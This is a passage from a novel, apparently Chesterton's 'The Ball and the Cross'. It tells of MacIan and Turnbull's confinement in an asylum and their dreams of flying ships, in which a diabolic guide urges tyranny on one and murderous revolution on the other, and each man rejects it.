+improve on." + +"It is the way he talks," said MacIan, almost indifferently; "but +he says rummier things than that. He says that a man's doctor +ought to decide what woman he marries; and he says that children +ought not to be brought up by their parents, because a physical +partiality will then distort the judgement of the educator." + +"Oh, dear!" said Turnbull, laughing, "you have certainly come +across a pretty bad case, and incidentally proved your own. I +suppose some men do lose their wits through science as through +love and other good things." + +"And he says," went on MacIan, monotonously, "that he cannot see +why anyone should suppose that a triangle is a three-sided +figure. He says that on some higher plane----" + +Turnbull leapt to his feet as by an electric shock. "I never +could have believed," he cried, "that you had humour enough to +tell a lie. You've gone a bit too far, old man, with your little +joke. Even in a lunatic asylum there can't be anybody who, having +thought about the matter, thinks that a triangle has not got +three sides. If he exists he must be a new era in human +psychology. But he doesn't exist." + +"I will go and fetch him," said MacIan, calmly; "I left the poor +fellow wandering about by the nasturtium bed." + +MacIan vanished, and in a few moments returned, trailing with him +his own discovery among lunatics, who was a slender man with a +fixed smile and an unfixed and rolling head. He had a goatlike +beard just long enough to be shaken in a strong wind. Turnbull +sprang to his feet and was like one who is speechless through +choking a sudden shout of laughter. + +"Why, you great donkey," he shouted, in an ear-shattering +whisper, "that's not one of the patients at all. That's one of +the doctors." + +Evan looked back at the leering head with the long-pointed beard +and repeated the word inquiringly: "One of the doctors?" + +"Oh, you know what I mean," said Turnbull, impatiently. "The +medical authorities of the place." + +Evan was still staring back curiously at the beaming and bearded +creature behind him. + +"The mad doctors," said Turnbull, shortly. + +"Quite so," said MacIan. + +After a rather restless silence Turnbull plucked MacIan by the +elbow and pulled him aside. + +"For goodness sake," he said, "don't offend this fellow; he may +be as mad as ten hatters, if you like, but he has us between his +finger and thumb. This is the very time he appointed to talk with +us about our--well, our exeat." + +"But what can it matter?" asked the wondering MacIan. "He can't +keep us in the asylum. We're not mad." + +"Jackass!" said Turnbull, heartily, "of course we're not mad. Of +course, if we are medically examined and the thing is thrashed +out, they will find we are not mad. But don't you see that if the +thing is thrashed out it will mean letters to this reference and +telegrams to that; and at the first word of who we are, we shall +be taken out of a madhouse, where we may smoke, to a jail, where +we mayn't. No, if we manage this very quietly, he may merely let +us out at the front door as stray revellers. If there's half an +hour of inquiry, we are cooked." + +MacIan looked at the grass frowningly for a few seconds, and then +said in a new, small and childish voice: "I am awfully stupid, +Mr. Turnbull; you must be patient with me." + +Turnbull caught Evan's elbow again with quite another gesture. +"Come," he cried, with the harsh voice of one who hides emotion, +"come and let us be tactful in chorus." + +The doctor with the pointed beard was already slanting it forward +at a more than usually acute angle, with the smile that expressed +expectancy. + +"I hope I do not hurry you, gentlemen," he said, with the +faintest suggestion of a sneer at their hurried consultation, +"but I believe you wanted to see me at half past eleven." + +"I am most awfully sorry, Doctor," said Turnbull, with ready +amiability; "I never meant to keep you waiting; but the silly +accident that has landed us in your garden may have some rather +serious consequences to our friends elsewhere, and my friend here +was just drawing my attention to some of them." + +"Quite so! Quite so!" said the doctor, hurriedly. "If you really +want to put anything before me, I can give you a few moments in +my consulting-room." + +He led them rapidly into a small but imposing apartment, which +seemed to be built and furnished entirely in red-varnished wood. +There was one desk occupied with carefully docketed papers; and +there were several chairs of the red-varnished wood--though of +different shape. All along the wall ran something that might have +been a bookcase, only that it was not filled with books, but with +flat, oblong slabs or cases of the same polished dark-red +consistency. What those flat wooden cases were they could form no +conception. + +The doctor sat down with a polite impatience on his professional +perch; MacIan remained standing, but Turnbull threw himself +almost with luxury into a hard wooden arm-chair. + +"This is a most absurd business, Doctor," he said, "and I am +ashamed to take up the time of busy professional men with such +pranks from outside. The plain fact is, that he and I and a pack +of silly men and girls have organized a game across this part of +the country--a sort of combination of hare and hounds and hide +and seek--I dare say you've heard of it. We are the hares, and, +seeing your high wall look so inviting, we tumbled over it, and +naturally were a little startled with what we found on the other +side." + +"Quite so!" said the doctor, mildly. "I can understand that you +were startled." + +Turnbull had expected him to ask what place was the headquarters +of the new exhilarating game, and who were the male and female +enthusiasts who had brought it to such perfection; in fact, +Turnbull was busy making up these personal and topographical +particulars. As the doctor did not ask the question, he grew +slightly uneasy, and risked the question: "I hope you will accept +my assurance that the thing was an accident and that no intrusion +was meant." + +"Oh, yes, sir," replied the doctor, smiling, "I accept everything +that you say." + +"In that case," said Turnbull, rising genially, "we must not +further interrupt your important duties. I suppose there will be +someone to let us out?" + +"No," said the doctor, still smiling steadily and pleasantly, +"there will be no one to let you out." + +"Can we let ourselves out, then?" asked Turnbull, in some +surprise. + +"Why, of course not," said the beaming scientist; "think how +dangerous that would be in a place like this." + +"Then, how the devil are we to get out?" cried Turnbull, losing +his manners for the first time. + +"It is a question of time, of receptivity, and treatment," said +the doctor, arching his eyebrows indifferently. "I do not regard +either of your cases as incurable." + +And with that the man of the world was struck dumb, and, as in +all intolerable moments, the word was with the unworldly. + +MacIan took one stride to the table, leant across it, and said: +"We can't stop here, we're not mad people!" + +"We don't use the crude phrase," said the doctor, smiling at his +patent-leather boots. + +"But you _can't_ think us mad," thundered MacIan. "You never saw +us before. You know nothing about us. You haven't even examined +us." + +The doctor threw back his head and beard. "Oh, yes," he said, +"very thoroughly." + +"But you can't shut a man up on your mere impressions without +documents or certificates or anything?" + +The doctor got languidly to his feet. "Quite so," he said. "You +certainly ought to see the documents." + +He went across to the curious mock book-shelves and took down one +of the flat mahogany cases. This he opened with a curious key at +his watch-chain, and laying back a flap revealed a quire of +foolscap covered with close but quite clear writing. The first +three words were in such large copy-book hand that they caught +the eye even at a distance. They were: "MacIan, Evan Stuart." + +Evan bent his angry eagle face over it; yet something blurred it +and he could never swear he saw it distinctly. He saw something +that began: "Prenatal influences predisposing to mania. +Grandfather believed in return of the Stuarts. Mother carried +bone of St. Eulalia with which she touched children in sickness. +Marked religious mania at early age----" + +Evan fell back and fought for his speech. "Oh!" he burst out at +last. "Oh! if all this world I have walked in had been as sane as +my mother was." + +Then he compressed his temples with his hands, as if to crush +them. And then lifted suddenly a face that looked fresh and +young, as if he had dipped and washed it in some holy well. + +"Very well," he cried; "I will take the sour with the sweet. I +will pay the penalty of having enjoyed God in this monstrous +modern earth that cannot enjoy man or beast. I will die happy in +your madhouse, only because I know what I know. Let it be +granted, then--MacIan is a mystic; MacIan is a maniac. But this +honest shopkeeper and editor whom I have dragged on my inhuman +escapades, you cannot keep him. He will go free, thank God, he is +not down in any damned document. His ancestor, I am certain, did +not die at Culloden. His mother, I swear, had no relics. Let my +friend out of your front door, and as for me----" + +The doctor had already gone across to the laden shelves, and +after a few minutes' short-sighted peering, had pulled down +another parallelogram of dark-red wood. + +This also he unlocked on the table, and with the same unerring +egotistic eye on of the company saw the words, written in large +letters: "Turnbull, James." + +Hitherto Turnbull himself had somewhat scornfully surrendered his +part in the whole business; but he was too honest and unaffected +not to start at his own name. After the name, the inscription +appeared to run: "Unique case of Eleutheromania. Parentage, as so +often in such cases, prosaic and healthy. Eleutheromaniac signs +occurred early, however, leading him to attach himself to the +individualist Bradlaugh. Recent outbreak of pure anarchy----" + +Turnbull slammed the case to, almost smashing it, and said with a +burst of savage laughter: "Oh! come along, MacIan; I don't care +so much, even about getting out of the madhouse, if only we get +out of this room. You were right enough, MacIan, when you spoke +about--about mad doctors." + +Somehow they found themselves outside in the cool, green garden, +and then, after a stunned silence, Turnbull said: "There is one +thing that was puzzling me all the time, and I understand it +now." + +"What do you mean?" asked Evan. + +"No man by will or wit," answered Turnbull, "can get out of this +garden; and yet we got into it merely by jumping over a garden +wall. The whole thing explains itself easily enough. That +undefended wall was an open trap. It was a trap laid for two +celebrated lunatics. They saw us get in right enough. And they +will see that we do not get out." + +Evan gazed at the garden wall, gravely for more than a minute, +and then he nodded without a word. + + + +XV. THE DREAM OF MACIAN + +The system of espionage in the asylum was so effective and +complete that in practice the patients could often enjoy a sense +of almost complete solitude. They could stray up so near to the +wall in an apparently unwatched garden as to find it easy to jump +over it. They would only have found the error of their +calculations if they had tried to jump. + +Under this insulting liberty, in this artificial loneliness, Evan +MacIan was in the habit of creeping out into the garden after +dark--especially upon moonlight nights. The moon, indeed, was for +him always a positive magnet in a manner somewhat hard to explain +to those of a robuster attitude. Evidently, Apollo is to the full +as poetical as Diana; but it is not a question of poetry in the +matured and intellectual sense of the word. It is a question of a +certain solid and childish fancy. The sun is in the strict and +literal sense invisible; that is to say, that by our bodily eyes +it cannot properly be seen. But the moon is a much simpler thing; +a naked and nursery sort of thing. It hangs in the sky quite +solid and quite silver and quite useless; it is one huge +celestial snowball. It was at least some such infantile facts and +fancies which led Evan again and again during his dehumanized +imprisonment to go out as if to shoot the moon. + +He was out in the garden on one such luminous and ghostly night, +when the steady moonshine toned down all the colours of the +garden until almost the strongest tints to be seen were the +strong soft blue of the sky and the large lemon moon. He was +walking with his face turned up to it in that rather half-witted +fashion which might have excused the error of his keepers; and as +he gazed he became aware of something little and lustrous flying +close to the lustrous orb, like a bright chip knocked off the +moon. At first he thought it was a mere sparkle or refraction in +his own eyesight; he blinked and cleared his eyes. Then he +thought it was a falling star; only it did not fall. It jerked +awkwardly up and down in a way unknown among meteors and +strangely reminiscent of the works of man. The next moment the +thing drove right across the moon, and from being silver upon +blue, suddenly became black upon silver; then although it passed +the field of light in a flash its outline was unmistakable though +eccentric. It was a flying ship. + +The vessel took one long and sweeping curve across the sky and +came nearer and nearer to MacIan, like a steam-engine coming +round a bend. It was of pure white steel, and in the moon it +gleamed like the armour of Sir Galahad. The simile of such +virginity is not inappropriate; for, as it grew larger and larger +and lower and lower, Evan saw that the only figure in it was +robed in white from head to foot and crowned with snow-white +hair, on which the moonshine lay like a benediction. The figure +stood so still that he could easily have supposed it to be a +statue. Indeed, he thought it was until it spoke. + +"Evan," said the voice, and it spoke with the simple authority of +some forgotten father revisiting his children, "you have remained +here long enough, and your sword is wanted elsewhere." + +"Wanted for what?" asked the young man, accepting the monstrous +event with a queer and clumsy naturalness; "what is my sword +wanted for?" + +"For all that you hold dear," said the man standing in the +moonlight; "for the thrones of authority and for all ancient +loyalty to law." + +Evan looked up at the lunar orb again as if in irrational +appeal--a moon calf bleating to his mother the moon. But the face +of Luna seemed as witless as his own; there is no help in nature +against the supernatural; and he looked again at the tall marble +figure that might have been made out of solid moonlight. + +Then he said in a loud voice: "Who are you?" and the next moment +was seized by a sort of choking terror lest his question should +be answered. But the unknown preserved an impenetrable silence +for a long space and then only answered: "I must not say who I am +until the end of the world; but I may say what I am. I am the +law." + +And he lifted his head so that the moon smote full upon his +beautiful and ancient face. + +The face was the face of a Greek god grown old, but not grown +either weak or ugly; there was nothing to break its regularity +except a rather long chin with a cleft in it, and this rather +added distinction than lessened beauty. His strong, well-opened +eyes were very brilliant but quite colourless like steel. + +MacIan was one of those to whom a reverence and self-submission +in ritual come quite easy, and are ordinary things. It was not +artificial in him to bend slightly to this solemn apparition or +to lower his voice when he said: "Do you bring me some message?" + +"I do bring you a message," answered the man of moon and marble. +"The king has returned." + +Evan did not ask for or require any explanation. "I suppose you +can take me to the war," he said, and the silent silver figure +only bowed its head again. MacIan clambered into the silver boat, +and it rose upward to the stars. + +To say that it rose to the stars is no mere metaphor, for the sky +had cleared to that occasional and astonishing transparency in +which one can see plainly both stars and moon. + +As the white-robed figure went upward in his white chariot, he +said quite quietly to Evan: "There is an answer to all the folly +talked about equality. Some stars are big and some small; some +stand still and some circle around them as they stand. They can +be orderly, but they cannot be equal." + +"They are all very beautiful," said Evan, as if in doubt. + +"They are all beautiful," answered the other, "because each is in +his place and owns his superior. And now England will be +beautiful after the same fashion. The earth will be as beautiful +as the heavens, because our kings have come back to us." + +"The Stuart----" began Evan, earnestly. + +"Yes," answered the old man, "that which has returned is Stuart +and yet older than Stuart. It is Capet and Plantagenet and +Pendragon. It is all that good old time of which proverbs tell, +that golden reign of Saturn against which gods and men were +rebels. It is all that was ever lost by insolence and overwhelmed +in rebellion. It is your own forefather, MacIan with the broken +sword, bleeding without hope at Culloden. It is Charles refusing +to answer the questions of the rebel court. It is Mary of the +magic face confronting the gloomy and grasping peers and the +boorish moralities of Knox. It is Richard, the last Plantagenet, +giving his crown to Bolingbroke as to a common brigand. It is +Arthur, overwhelmed in Lyonesse by heathen armies and dying in +the mist, doubtful if ever he shall return." + +"But now----" said Evan, in a low voice. + +"But now!" said the old man; "he has returned." + +"Is the war still raging?" asked MacIan. + +"It rages like the pit itself beyond the sea whither I am taking +you," answered the other. "But in England the king enjoys his own +again. The people are once more taught and ruled as is best; they +are happy knights, happy squires, happy servants, happy serfs, if +you will; but free at last of that load of vexation and lonely +vanity which was called being a citizen." + +"Is England, indeed, so secure?" asked Evan. + +"Look out and see," said the guide. "I fancy you have seen this +place before." + +They were driving through the air towards one region of the sky +where the hollow of night seemed darkest and which was quite +without stars. But against this black background there sprang up, +picked out in glittering silver, a dome and a cross. It seemed +that it was really newly covered with silver, which in the strong +moonlight was like white flame. But, however, covered or painted, +Evan had no difficult in knowing the place again. He saw the +great thoroughfare that sloped upward to the base of its huge +pedestal of steps. And he wondered whether the little shop was +still by the side of it and whether its window had been mended. + +As the flying ship swept round the dome he observed other +alterations. The dome had been redecorated so as to give it a +more solemn and somewhat more ecclesiastical note; the ball was +draped or destroyed, and round the gallery, under the cross, ran +what looked like a ring of silver statues, like the little leaden +images that stood round the hat of Louis XI. Round the second +gallery, at the base of the dome, ran a second rank of such +images, and Evan thought there was another round the steps below. +When they came closer he saw that they were figures in complete +armour of steel or silver, each with a naked sword, point upward; +and then he saw one of the swords move. These were not statues +but an armed order of chivalry thrown in three circles round the +cross. MacIan drew in his breath, as children do at anything they +think utterly beautiful. For he could imagine nothing that so +echoed his own visions of pontifical or chivalric art as this +white dome sitting like a vast silver tiara over London, ringed +with a triple crown of swords. + +As they went sailing down Ludgate Hill, Evan saw that the state +of the streets fully answered his companion's claim about the +reintroduction of order. All the old blackcoated bustle with its +cockney vivacity and vulgarity had disappeared. Groups of +labourers, quietly but picturesquely clad, were passing up and +down in sufficiently large numbers; but it required but a few +mounted men to keep the streets in order. The mounted men were +not common policemen, but knights with spurs and plume whose +smooth and splendid armour glittered like diamond rather than +steel. Only in one place--at the corner of Bouverie Street--did +there appear to be a moment's confusion, and that was due to +hurry rather than resistance. But one old grumbling man did not +get out of the way quick enough, and the man on horseback struck +him, not severely, across the shoulders with the flat of his +sword. + +"The soldier had no business to do that," said MacIan, sharply. +"The old man was moving as quickly as he could." + +"We attach great importance to discipline in the streets," said +the man in white, with a slight smile. + +"Discipline is not so important as justice," said MacIan. + +The other did not answer. + +Then after a swift silence that took them out across St. James's +Park, he said: "The people must be taught to obey; they must +learn their own ignorance. And I am not sure," he continued, +turning his back on Evan and looking out of the prow of the ship +into the darkness, "I am not sure that I agree with your little +maxim about justice. Discipline for the whole society is surely +more important than justice to an individual." + +Evan, who was also leaning over the edge, swung round with +startling suddenness and stared at the other's back. + +"Discipline for society----" he repeated, very staccato, "more +important--justice to individual?" + +Then after a long silence he called out: "Who and what are you?" + +"I am an angel," said the white-robed figure, without turning +round. + +"You are not a Catholic," said MacIan. + +The other seemed to take no notice, but reverted to the main +topic. + +"In our armies up in heaven we learn to put a wholesome fear into +subordinates." + +MacIan sat craning his neck forward with an extraordinary and +unaccountable eagerness. + +"Go on!" he cried, twisting and untwisting his long, bony +fingers, "go on!" + +"Besides," continued he, in the prow, "you must allow for a +certain high spirit and haughtiness in the superior type." + +"Go on!" said Evan, with burning eyes. + +"Just as the sight of sin offends God," said the unknown, "so +does the sight of ugliness offend Apollo. The beautiful and +princely must, of necessity, be impatient with the squalid +and----" + +"Why, you great fool!" cried MacIan, rising to the top of his +tremendous stature, "did you think I would have doubted only for +that rap with a sword? I know that noble orders have bad knights, +that good knights have bad tempers, that the Church has rough +priests and coarse cardinals; I have known it ever since I was +born. You fool! you had only to say, 'Yes, it is rather a shame,' +and I should have forgotten the affair. But I saw on your mouth +the twitch of your infernal sophistry; I knew that something was +wrong with you and your cathedrals. Something is wrong; +everything is wrong. You are not an angel. That is not a church. +It is not the rightful king who has come home." + +"That is unfortunate," said the other, in a quiet but hard voice, +"because you are going to see his Majesty." + +"No," said MacIan, "I am going to jump over the side." + +"Do you desire death?" + +"No," said Evan, quite composedly, "I desire a miracle." + +"From whom do you ask it? To whom do you appeal?" said his +companion, sternly. "You have betrayed the king, renounced his +cross on the cathedral, and insulted an archangel." + +"I appeal to God," said Evan, and sprang up and stood upon the +edge of the swaying ship. + +The being in the prow turned slowly round; he looked at Evan with +eyes which were like two suns, and put his hand to his mouth just +too late to hide an awful smile. + +"And how do you know," he said, "how do you know that I am not +God?" + +MacIan screamed. "Ah!" he cried. "Now I know who you really are. +You are not God. You are not one of God's angels. But you were +once." + +The being's hand dropped from his mouth and Evan dropped out of +the car. + + + +XVI. THE DREAM OF TURNBULL + +Turnbull was walking rather rampantly up and down the garden on a +gusty evening chewing his cigar and in that mood when every man +suppresses an instinct to spit. He was not, as a rule, a man much +acquainted with moods; and the storms and sunbursts of MacIan's +soul passed before him as an impressive but unmeaning panorama, +like the anarchy of Highland scenery. Turnbull was one of those +men in whom a continuous appetite and industry of the intellect +leave the emotions very simple and steady. His heart was in the +right place; but he was quite content to leave it there. It was +his head that was his hobby. His mornings and evenings were +marked not by impulses or thirsty desires, not by hope or by +heart-break; they were filled with the fallacies he had detected, +the problems he had made plain, the adverse theories he had +wrestled with and thrown, the grand generalizations he had +justified. But even the cheerful inner life of a logician may be +upset by a lunatic asylum, to say nothing of whiffs of memory +from a lady in Jersey, and the little red-bearded man on this +windy evening was in a dangerous frame of mind. + +Plain and positive as he was, the influence of earth and sky may +have been greater on him than he imagined; and the weather that +walked the world at that moment was as red and angry as Turnbull. +Long strips and swirls of tattered and tawny cloud were dragged +downward to the west exactly as torn red raiment would be +dragged. And so strong and pitiless was the wind that it whipped +away fragments of red-flowering bushes or of copper beech, and +drove them also across the garden, a drift of red leaves, like +the leaves of autumn, as in parody of the red and driven rags of +cloud. + +There was a sense in earth and heaven as of everything breaking +up, and all the revolutionist in Turnbull rejoiced that it was +breaking up. The trees were breaking up under the wind, even in +the tall strength of their bloom: the clouds were breaking up and +losing even their large heraldic shapes. Shards and shreds of +copper cloud split off continually and floated by themselves, and +for some reason the truculent eye of Turnbull was attracted to +one of these careering cloudlets, which seemed to him to career +in an exaggerated manner. Also it kept its shape, which is +unusual with clouds shaken off; also its shape was of an odd +sort. + +Turnbull continued to stare at it, and in a little time occurred +that crucial instant when a thing, however incredible, is +accepted as a fact. The copper cloud was tumbling down towards +the earth, like some gigantic leaf from the copper beeches. And +as it came nearer it was evident, first, that it was not a cloud, +and, second, that it was not itself of the colour of copper; +only, being burnished like a mirror, it had reflected the +red-brown colours of the burning clouds. As the thing whirled +like a windswept leaf down towards the wall of the garden it was +clear that it was some sort of air-ship made of metal, and +slapping the air with big broad fins of steel. When it came about +a hundred feet above the garden, a shaggy, lean figure leapt up +in it, almost black against the bronze and scarlet of the west, +and, flinging out a kind of hook or anchor, caught on to the +green apple-tree just under the wall; and from that fixed holding +ground the ship swung in the red tempest like a captive balloon. + +While our friend stood frozen for an instant by his astonishment, +the queer figure in the airy car tipped the vehicle almost upside +down by leaping over the side of it, seemed to slide or drop down +the rope like a monkey, and alighted (with impossible precision +and placidity) seated on the edge of the wall, over which he +kicked and dangled his legs as he grinned at Turnbull. The wind +roared in the trees yet more ruinous and desolate, the red tails +of the sunset were dragged downward like red dragons sucked down +to death, and still on the top of the asylum wall sat the +sinister figure with the grimace, swinging his feet in tune with +the tempest; while above him, at the end of its tossing or +tightened cord, the enormous iron air-ship floated as light and +as little noticed as a baby's balloon upon its string. + +Turnbull's first movement after sixty motionless seconds was to +turn round and look at the large, luxuriant parallelogram of the +garden and the long, low rectangular building beyond. There was +not a soul or a stir of life within sight. And he had a quite +meaningless sensation, as if there never really had been any one +else there except he since the foundation of the world. + +Stiffening in himself the masculine but mirthless courage of the +atheist, he drew a little nearer to the wall and, catching the +man at a slightly different angle of the evening light, could see +his face and figure quite plain. Two facts about him stood out in +the picked colours of some piratical schoolboy's story. The first +was that his lean brown body was bare to the belt of his loose +white trousers; the other that through hygiene, affectation, or +whatever other cause, he had a scarlet handkerchief tied tightly +but somewhat aslant across his brow. After these two facts had +become emphatic, others appeared sufficiently important. One was +that under the scarlet rag the hair was plentiful, but white as +with the last snows of mortality. Another was that under the mop +of white and senile hair the face was strong, handsome, and +smiling, with a well-cut profile and a long cloven chin. The +length of this lower part of the face and the strange cleft in it +(which gave the man, in quite another sense from the common one, +a double chin) faintly spoilt the claim of the face to absolute +regularity, but it greatly assisted it in wearing the expression +of half-smiling and half-sneering arrogance with which it was +staring at all the stones, all the flowers, but especially at the +solitary man. + +"What do you want?" shouted Turnbull. + +"I want you, Jimmy," said the eccentric man on the wall, and with +the very word he had let himself down with a leap on to the +centre of the lawn, where he bounded once literally like an +India-rubber ball and then stood grinning with his legs astride. +The only three facts that Turnbull could now add to his inventory +were that the man had an ugly-looking knife swinging at his +trousers belt, that his brown feet were as bare as his bronzed +trunk and arms, and that his eyes had a singular bleak brilliancy +which was of no particular colour. + +"Excuse my not being in evening dress," said the newcomer with an +urbane smile. "We scientific men, you know--I have to work my own +engines--electrical engineer--very hot work." + +"Look here," said Turnbull, sturdily clenching his fists in his +trousers pockets, "I am bound to expect lunatics inside these +four walls; but I do bar their coming from outside, bang out of +the sunset clouds." + +"And yet you came from the outside, too, Jim," said the stranger +in a voice almost affectionate. + +"What do you want?" asked Turnbull, with an explosion of temper +as sudden as a pistol shot. + +"I have already told you," said the man, lowering his voice and +speaking with evident sincerity; "I want you." + +"What do you want with me?" + +"I want exactly what you want," said the new-comer with a new +gravity. "I want the Revolution." + +Turnbull looked at the fire-swept sky and the wind-stricken +woodlands, and kept on repeating the word voicelessly to +himself--the word that did indeed so thoroughly express his mood +of rage as it had been among those red clouds and rocking +tree-tops. "Revolution!" he said to himself. "The +Revolution--yes, that is what I want right enough--anything, so +long as it is a Revolution." + +To some cause he could never explain he found himself completing +the sentence on the top of the wall, having automatically +followed the stranger so far. But when the stranger silently +indicated the rope that led to the machine, he found himself +pausing and saying: "I can't leave MacIan behind in this den." + +"We are going to destroy the Pope and all the kings," said the +new-comer. "Would it be wiser to take him with us?" + +Somehow the muttering Turnbull found himself in the flying ship +also, and it swung up into the sunset. + +"All the great rebels have been very little rebels," said the man +with the red scarf. "They have been like fourth-form boys who +sometimes venture to hit a fifth-form boy. That was all the worth +of their French Revolution and regicide. The boys never really +dared to defy the schoolmaster." + +"Whom do you mean by the schoolmaster?" asked Turnbull. + +"You know whom I mean," answered the strange man, as he lay back +on cushions and looked up into the angry sky. + +They seemed rising into stronger and stronger sunlight, as if it +were sunrise rather than sunset. But when they looked down at the +earth they saw it growing darker and darker. The lunatic asylum +in its large rectangular grounds spread below them in a +foreshortened and infantile plan, and looked for the first time +the grotesque thing that it was. But the clear colours of the +plan were growing darker every moment. The masses of rose or +rhododendron deepened from crimson to violet. The maze of gravel +pathways faded from gold to brown. By the time they had risen a +few hundred feet higher nothing could be seen of that darkening +landscape except the lines of lighted windows, each one of which, +at least, was the light of one lost intelligence. But on them as +they swept upward better and braver winds seemed to blow, and on +them the ruby light of evening seemed struck, and splashed like +red spurts from the grapes of Dionysus. Below them the fallen +lights were literally the fallen stars of servitude. And above +them all the red and raging clouds were like the leaping flags of +liberty. + +The man with the cloven chin seemed to have a singular power of +understanding thoughts; for, as Turnbull felt the whole universe +tilt and turn over his head, the stranger said exactly the right +thing. + +"Doesn't it seem as if everything were being upset?" said he; +"and if once everything is upset, He will be upset on top of it." + +Then, as Turnbull made no answer, his host continued: + +"That is the really fine thing about space. It is topsy-turvy. +You have only to climb far enough towards the morning star to +feel that you are coming down to it. You have only to dive deep +enough into the abyss to feel that you are rising. That is the +only glory of this universe--it is a giddy universe." + +Then, as Turnbull was still silent, he added: + +"The heavens are full of revolution--of the real sort of +revolution. All the high things are sinking low and all the big +things looking small. All the people who think they are aspiring +find they are falling head foremost. And all the people who think +they are condescending find they are climbing up a precipice. +That is the intoxication of space. That is the only joy of +eternity--doubt. There is only one pleasure the angels can +possibly have in flying, and that is, that they do not know +whether they are on their head or their heels." + +Then, finding his companion still mute, he fell himself into a +smiling and motionless meditation, at the end of which he said +suddenly: + +"So MacIan converted you?" + +Turnbull sprang up as if spurning the steel car from under his +feet. "Converted me!" he cried. "What the devil do you mean? I +have known him for a month, and I have not retracted a +single----" + +"This Catholicism is a curious thing," said the man of the cloven +chin in uninterrupted reflectiveness, leaning his elegant elbows +over the edge of the vessel; "it soaks and weakens men without +their knowing it, just as I fear it has soaked and weakened you." + +Turnbull stood in an attitude which might well have meant +pitching the other man out of the flying ship. + +"I am an atheist," he said, in a stifled voice. "I have always +been an atheist. I am still an atheist." Then, addressing the +other's indolent and indifferent back, he cried: "In God's name +what do you mean?" + +And the other answered without turning round: + +"I mean nothing in God's name." + +Turnbull spat over the edge of the car and fell back furiously +into his seat. + +The other continued still unruffled, and staring over the edge +idly as an angler stares down at a stream. + +"The truth is that we never thought that you could have been +caught," he said; "we counted on you as the one red-hot +revolutionary left in the world. But, of course, these men like +MacIan are awfully clever, especially when they pretend to be +stupid." + +Turnbull leapt up again in a living fury and cried: "What have I +got to do with MacIan? I believe all I ever believed, and +disbelieve all I ever disbelieved. What does all this mean, and +what do you want with me here?" + +Then for the first time the other lifted himself from the edge of +the car and faced him. + +"I have brought you here," he answered, "to take part in the last +war of the world." + +"The last war!" repeated Turnbull, even in his dazed state a +little touchy about such a dogma; "how do you know it will be the +last?" + +The man laid himself back in his reposeful attitude, and said: + +"It is the last war, because if it does not cure the world for +ever, it will destroy it." + +"What do you mean?" + +"I only mean what you mean," answered the unknown in a temperate +voice. "What was it that you always meant on those million and +one nights when you walked outside your Ludgate Hill shop and +shook your hand in the air?" + +"Still I do not see," said Turnbull, stubbornly. + +"You will soon," said the other, and abruptly bent downward one +iron handle of his huge machine. The engine stopped, stooped, and +dived almost as deliberately as a man bathing; in their downward +rush they swept within fifty yards of a big bulk of stone that +Turnbull knew only too well. The last red anger of the sunset was +ended; the dome of heaven was dark; the lanes of flaring light in +the streets below hardly lit up the base of the building. But he +saw that it was St. Paul's Cathedral, and he saw that on the top +of it the ball was still standing erect, but the cross was +stricken and had fallen sideways. Then only he cared to look down +into the streets, and saw that they were inflamed with uproar and +tossing passions. + +"We arrive at a happy moment," said the man steering the ship. +"The insurgents are bombarding the city, and a cannon-ball has +just hit the cross. Many of the insurgents are simple people, and +they naturally regard it as a happy omen." + +"Quite so," said Turnbull, in a rather colourless voice. + +"Yes," replied the other. "I thought you would be glad to see +your prayer answered. Of course I apologize for the word prayer." + +"Don't mention it," said Turnbull. + +The flying ship had come down upon a sort of curve, and was now +rising again. The higher and higher it rose the broader and +broader became the scenes of flame and desolation underneath. + +Ludgate Hill indeed had been an uncaptured and comparatively +quiet height, altered only by the startling coincidence of the +cross fallen awry. All the other thoroughfares on all sides of +that hill were full of the pulsation and the pain of battle, full +of shaking torches and shouting faces. When at length they had +risen high enough to have a bird's-eye view of the whole +campaign, Turnbull was already intoxicated. He had smelt +gunpowder, which was the incense of his own revolutionary +religion. + +"Have the people really risen?" he asked, breathlessly. "What are +they fighting about?" + +"The programme is rather elaborate," said his entertainer with +some indifference. "I think Dr. Hertz drew it up." + +Turnbull wrinkled his forehead. "Are all the poor people with the +Revolution?" he asked. + +The other shrugged his shoulders. "All the instructed and +class-conscious part of them without exception," he replied. +"There were certainly a few districts; in fact, we are passing +over them just now----" + +Turnbull looked down and saw that the polished car was literally +lit up from underneath by the far-flung fires from below. +Underneath whole squares and solid districts were in flames, like +prairies or forests on fire. + +"Dr. Hertz has convinced everybody," said Turnbull's cicerone in +a smooth voice, "that nothing can really be done with the real +slums. His celebrated maxim has been quite adopted. I mean the +three celebrated sentences: 'No man should be unemployed. Employ +the employables. Destroy the unemployables.'" + +There was a silence, and then Turnbull said in a rather strained +voice: "And do I understand that this good work is going on under +here?" + +"Going on splendidly," replied his companion in the heartiest +voice. "You see, these people were much too tired and weak even +to join the social war. They were a definite hindrance to it." + +"And so you are simply burning them out?" + +"It _does_ seem absurdly simple," said the man, with a beaming +smile, "when one thinks of all the worry and talk about helping a +hopeless slave population, when the future obviously was only +crying to be rid of them. There are happy babes unborn ready to +burst the doors when these drivellers are swept away." + +"Will you permit me to say," said Turnbull, after reflection, +"that I don't like all this?" + +"And will you permit me to say," said the other, with a snap, +"that I don't like Mr. Evan MacIan?" + +Somewhat to the speaker's surprise this did not inflame the +sensitive sceptic; he had the air of thinking thoroughly, and +then he said: "No, I don't think it's my friend MacIan that +taught me that. I think I should always have said that I don't +like this. These people have rights." + +"Rights!" repeated the unknown in a tone quite indescribable. +Then he added with a more open sneer: "Perhaps they also have +souls." + +"They have lives!" said Turnbull, sternly; "that is quite enough +for me. I understood you to say that you thought life sacred." + +"Yes, indeed!" cried his mentor with a sort of idealistic +animation. "Yes, indeed! Life is sacred--but lives are not +sacred. We are improving Life by removing lives. Can you, as a +free-thinker, find any fault in that?" + +"Yes," said Turnbull with brevity. + +"Yet you applaud tyrannicide," said the stranger with +rationalistic gaiety. "How inconsistent! It really comes to +this: You approve of taking away life from those to whom it is a +triumph and a pleasure. But you will not take away life from +those to whom it is a burden and a toil." + +Turnbull rose to his feet in the car with considerable +deliberation, but his face seemed oddly pale. The other went on +with enthusiasm. + +"Life, yes, Life is indeed sacred!" he cried; "but new lives for +old! Good lives for bad! On that very place where now there +sprawls one drunken wastrel of a pavement artist more or less +wishing he were dead--on that very spot there shall in the future +be living pictures; there shall be golden girls and boys leaping +in the sun." + +Turnbull, still standing up, opened his lips. "Will you put me +down, please?" he said, quite calmly, like on stopping an +omnibus. + +"Put you down--what do you mean?" cried his leader. "I am taking +you to the front of the revolutionary war, where you will be one +of the first of the revolutionary leaders." + +"Thank you," replied Turnbull with 